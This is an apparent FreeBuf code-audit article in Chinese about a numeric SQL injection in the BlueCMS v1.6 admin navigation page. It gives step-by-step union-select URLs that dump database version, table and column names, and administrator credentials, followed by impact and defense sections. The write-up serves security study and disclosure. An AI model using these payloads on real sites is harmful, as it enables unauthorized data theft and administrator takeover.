freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

代码审计--bluecms--0day挖掘
2022-03-14 18:23:02
所属地 内蒙古

Bluecms后台sql注入漏洞

一、环境搭建

1、PhP地方门户系统 BlueCMS v1.6 sp1

下载地址:https://down.chinaz.com/soft/26181.htm

2、PHPstudy apache,mysql集成环境

二、代码审计

在该cms系统中,其后台存在sql注入漏洞。

这里直接拼接了前端接受的参数navid,我们可以直接控制传入参数导致sql注入漏洞产生。

img

这里对传入的参数进行了过滤,其中addslashes()函数,返回在预定义字符之前添加反斜杠的字符串,预定义字符有,单引号,双引号,反斜杠,null等,这里sql语句为数字型注入,该过滤无效。


这里判断传入的参数是否是数组,若不是数组直接使用addslashes()函数进行过滤。

img

整个sql语句执行过程中只对传入参数使用addslashes()函数进行了过滤,后续并没有进行其他过滤。这里存在sql 注入漏洞。

三、漏洞利用

1、正常payload :

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=1

返回正常页面。

2、猜列数payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=1order by 6

得出列数为6。

3、union注入payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1union select 1,version(),database(),4,user(),6

img

4、爆表名payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1union select 1,group_concat(table_name),database(),4,5,6 from information_schema.tables where table_schema=database()

5、爆列名payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1union select 1,group_concat(column_name),database(),4,5,6 from information_schema.columns where table_name=0x626C75655F61646D696E

这里我们选择了blue_admin这个表。

img

6、爆数据 payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1union select 1,group_concat(admin_name),group_concat(pwd),4,5,6 from blue_admin

7、管理员密码被MD5加密,解密后得admin

四、漏洞危害

(1)攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。

(2)可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。

(3)如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。

(4)经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。

五、漏洞防御

(1)基于攻击特征的匹配过滤。这是目前使用最为广泛的方式,系统会将攻击特征做成数据库,一旦匹配到这些攻击特征就会认定检测到SQL注入。这种方式可以有效的过滤大部分SQL注入攻击,但是大大增加了程序的复杂度,同时可能影响到业务的正常查询。

(2)对用户输入进行转义。例如,常见的SQL注入语句中都含有“‘’”,通过转义将“‘’”转义为“/”,SQL注入语句就会达不到攻击者预期的执行效果,从而实现对SQL注入进行防御。

(3)数据类型进行严格定义,数据长度进行严格规定。比如查询数据库某条记录的id,定义它为整型,如果用户传来的数据不满足条件,要对数据进行过滤。数据长度也应该做严格限制,可以防止较长的SQL注入语句。

(4)严格限制网站访问数据库的权限。

# SQL注入 # 代码审计 # 0Day漏洞 # blueCMS
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录